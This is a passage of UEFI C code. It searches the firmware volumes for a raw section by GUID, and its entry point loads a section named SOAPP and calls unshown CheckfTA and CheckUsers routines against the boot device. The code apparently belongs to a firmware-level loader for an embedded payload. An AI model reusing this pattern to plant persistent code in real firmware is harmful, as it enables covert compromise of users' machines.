FORCE_DEBUG Print(L"step 2\n"); #endif if (ImageHandle == NULL && WithinImageFv) { return EFI_INVALID_PARAMETER; } #ifdef FORCE_DEBUG Print(L"step 3\n"); #endif Status = EFI_NOT_FOUND; ImageFv = NULL; #ifdef FORCE_DEBUG Print(L"step 4 %x\n",ImageHandle); #endif if (ImageHandle != NULL) { Status = gBS->HandleProtocol ( ImageHandle, &gEfiLoadedImageProtocolGuid, (VOID **) &LoadedImage ); if (EFI_ERROR (Status)) { #ifdef FORCE_DEBUG Print(L"step 4b %x\n",Status); #endif return Status; } #ifdef FORCE_DEBUG Print(L"step 4c %x\n",Status); #endif } #ifdef FORCE_DEBUG Print(L"step 6\n"); #endif Status = gBS->LocateHandleBuffer ( ByProtocol, //#if (PI_SPECIFICATION_VERSION < 0x00010000) &gEfiFirmwareVolumeProtocolGuid, //#else //&gEfiFirmwareVolume2ProtocolGuid, //#endif NULL, &HandleCount, &HandleBuffer ); if (EFI_ERROR (Status)) { #ifdef FORCE_DEBUG Print(L"step 7 %x\n",Status); #endif Status = gBS->LocateHandleBuffer ( ByProtocol, //#if (PI_SPECIFICATION_VERSION < 0x00010000) //&gEfiFirmwareVolumeProtocolGuid, //#else &gEfiFirmwareVolume2ProtocolGuid, //#endif NULL, &HandleCount, &HandleBuffer ); if (EFI_ERROR (Status)) { #ifdef FORCE_DEBUG Print(L"step 7b %x\n",Status); #endif return Status; } else fEfiFirmwareVolumeProtocol=2; } else fEfiFirmwareVolumeProtocol=1; #ifdef FORCE_DEBUG Print(L"step 8\n"); #endif // // Find desired image in all Fvs // for (Index = 0; Index < HandleCount; ++Index) { #ifdef FORCE_DEBUG Print(L"step 9\n"); #endif if(fEfiFirmwareVolumeProtocol==1) { Status = gBS->HandleProtocol ( HandleBuffer[Index], //#if (PI_SPECIFICATION_VERSION < 0x00010000) &gEfiFirmwareVolumeProtocolGuid, //#else //&gEfiFirmwareVolume2ProtocolGuid, //#endif (VOID**)&Fv ); } else { Status = gBS->HandleProtocol ( HandleBuffer[Index], //#if (PI_SPECIFICATION_VERSION < 0x00010000) //&gEfiFirmwareVolumeProtocolGuid, //#else &gEfiFirmwareVolume2ProtocolGuid, //#endif (VOID**)&Fv ); } if (EFI_ERROR (Status)) { #ifdef FORCE_DEBUG Print(L"step 10\n"); #endif gBS->FreePool(HandleBuffer); return Status; } if (ImageFv != NULL && Fv == ImageFv) { #ifdef FORCE_DEBUG Print(L"step 11\n"); #endif continue; } Status = GetImageFromFv (Fv, NameGuid, SectionType, Buffer, Size); if (!EFI_ERROR (Status)) { #ifdef FORCE_DEBUG Print(L"step 12\n"); #endif break; } } #ifdef FORCE_DEBUG Print(L"step 13\n"); #endif gBS->FreePool(HandleBuffer); // // Not found image // if (Index == HandleCount) { #ifdef FORCE_DEBUG Print(L"step 14\n"); #endif return EFI_NOT_FOUND; } return EFI_SUCCESS; } EFI_STATUS // Entry Point UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable) { EFI_STATUS Status = EFI_SUCCESS; EFI_LOADED_IMAGE_PROTOCOL *LoadedImage; UINT8* Buffer; UINTN Size; EFI_GUID SOAPP = { 0xeaea9aec, 0xc9c1, 0x46e2, { 0x9d, 0x52, 0x43, 0x2a, 0xd2, 0x5a, 0x09, 0x09 } }; //CpuBreakpoint(); #ifdef FORCE_DEBUG Print(L"parte 1\n"); #endif //Step 1 if (CheckfTA()== TRUE) return TRUE; #ifdef FORCE_DEBUG Print(L"parte 2\n"); #endif Status = gBS->HandleProtocol(ImageHandle, &gEfiLoadedImageProtocolGuid, &LoadedImage); if (EFI_ERROR (Status)) { #ifdef FORCE_DEBUG Print(L"Error LoadedImageProtocol\r\n"); #endif return Status; } #ifdef FORCE_DEBUG Print(L"parte 3\n"); #endif VirtualSize=0; pSectiondata=0; if(GetImageEx (ImageHandle, &SOAPP, EFI_SECTION_RAW, &Buffer, &Size, FALSE)==EFI_SUCCESS) { #ifdef FORCE_DEBUG Print(L"parte 4\n"); #endif VirtualSize=Size; pSectiondata=(UINTN)Buffer; #ifdef FORCE_DEBUG Print(L"B0=%x B1=%x %c%c\n",Buffer[0],Buffer[1],Buffer[0],Buffer[1]); #endif //CpuBreakpoint(); //Setp 2 if (CheckUsers(LoadedImage->DeviceHandle) == FALSE) return TRUE; #ifdef FORCE_DEBUG Print(L"parte 5\n"); #endif } #ifdef FORCE_DEBUG Print(L"parte 6\n"); Print(L"B0=%x B1=%x %c%c\n",Buffer[0],Buffer[1],Buffer[0],Buffer[1]); //CpuBreakpoint(); #endif return EFI_SUCCESS; } .